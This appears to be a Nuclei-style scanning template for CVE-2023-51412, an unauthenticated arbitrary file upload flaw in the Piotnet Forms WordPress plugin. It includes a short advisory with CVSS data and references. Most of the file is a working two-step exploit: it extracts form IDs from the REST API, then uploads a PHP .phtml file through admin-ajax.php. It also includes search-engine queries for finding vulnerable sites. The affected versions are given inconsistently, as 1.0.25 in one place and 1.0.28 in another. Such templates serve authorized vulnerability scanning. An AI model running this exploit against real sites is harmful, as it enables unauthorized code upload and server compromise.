Description
Unrestricted Upload of File with Dangerous Type vulnerability in Piotnet Piotnet Forms.This issue affects Piotnet Forms: from n/a through 1.0.25.
Unrestricted Upload of File with Dangerous Type vulnerability in Piotnet Piotnet Forms.This issue affects Piotnet Forms: from n/a through 1.0.25.
id: CVE-2023-51412
info:
name: Piotnet Forms <= 1.0.28 - Unauthenticated Arbitrary File Upload
author: DhiyaneshDk
severity: critical
description: |
Unrestricted Upload of File with Dangerous Type vulnerability in Piotnet Piotnet Forms.This issue affects Piotnet Forms: from n/a through 1.0.25.
impact: |
Attackers can upload malicious files, potentially leading to remote code execution or server compromise.
remediation: |
Update to the latest version of Piotnet Piotnet Forms that addresses this vulnerability.
reference:
- https://patchstack.com/database/wordpress/plugin/piotnetforms/vulnerability/wordpress-piotnetforms-plugin-1-0-25-unauthenticated-arbitrary-file-upload-vulnerability
- https://wpscan.com/vulnerability/262fee58-1858-468a-a8bb-28ace0c0d9db/
- https://nvd.nist.gov/vuln/detail/CVE-2023-51412
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-51412
epss-score: 0.00537
epss-percentile: 0.46784
cwe-id: CWE-434
metadata:
verified: true
max-request: 2
vendor: piotnet
product: piotnetforms
framework: wordpress
publicwww-query: "/wp-content/plugins/piotnetforms/"
fofa-query: body="/wp-content/plugins/piotnetforms"
tags: cve,cve2023,wordpress,wp-plugin,wp,piotnetforms,piotnet,fileupload,rce,intrusive,unauth,vkev
variables:
marker: "{{rand_text_alpha(10)}}"
flow: http(1) && http(2)
http:
- raw:
- |
GET /wp-json/wp/v2/pages?per_page=100&_fields=content HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body, "data-piotnetforms-hidden-form-id")'
internal: true
extractors:
- type: regex
name: post_id
part: body
internal: true
group: 1
regex:
- 'name=\\"post_id\\" value=\\"([0-9]+)\\" data-piotnetforms-hidden-form-id'
- type: regex
name: form_id
part: body
internal: true
group: 1
regex:
- 'name=\\"form_id\\" value=\\"([a-zA-Z0-9_-]+)\\" data-piotnetforms-hidden-form-id'
- raw:
- |
POST /wp-admin/admin-ajax.php?action=piotnetforms_ajax_form_builder HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----CVE202351412
------CVE202351412
Content-Disposition: form-data; name="action"
piotnetforms_ajax_form_builder
------CVE202351412
Content-Disposition: form-data; name="post_id"
{{post_id}}
------CVE202351412
Content-Disposition: form-data; name="form_id"
{{form_id}}
------CVE202351412
Content-Disposition: form-data; name="fields"
[{"name":"{{marker}}","value":"","attach-files":"0"}]
------CVE202351412
Content-Disposition: form-data; name="{{marker}}[]"; filename="{{marker}}.phtml"
Content-Type: application/x-php
<?php echo '{{marker}}'; ?>
------CVE202351412--
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "succeeded,")'
condition: and
# digest: 4a0a004730450220670624bb2f1e22ec4480d8b6a26c3123075b3f853355a6dc2f80e3c5719bd1de022100e58ef3ee5066c9f653fcc2200edc50af3c5b6647a2d2bc4e55900e1adb014f1a:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.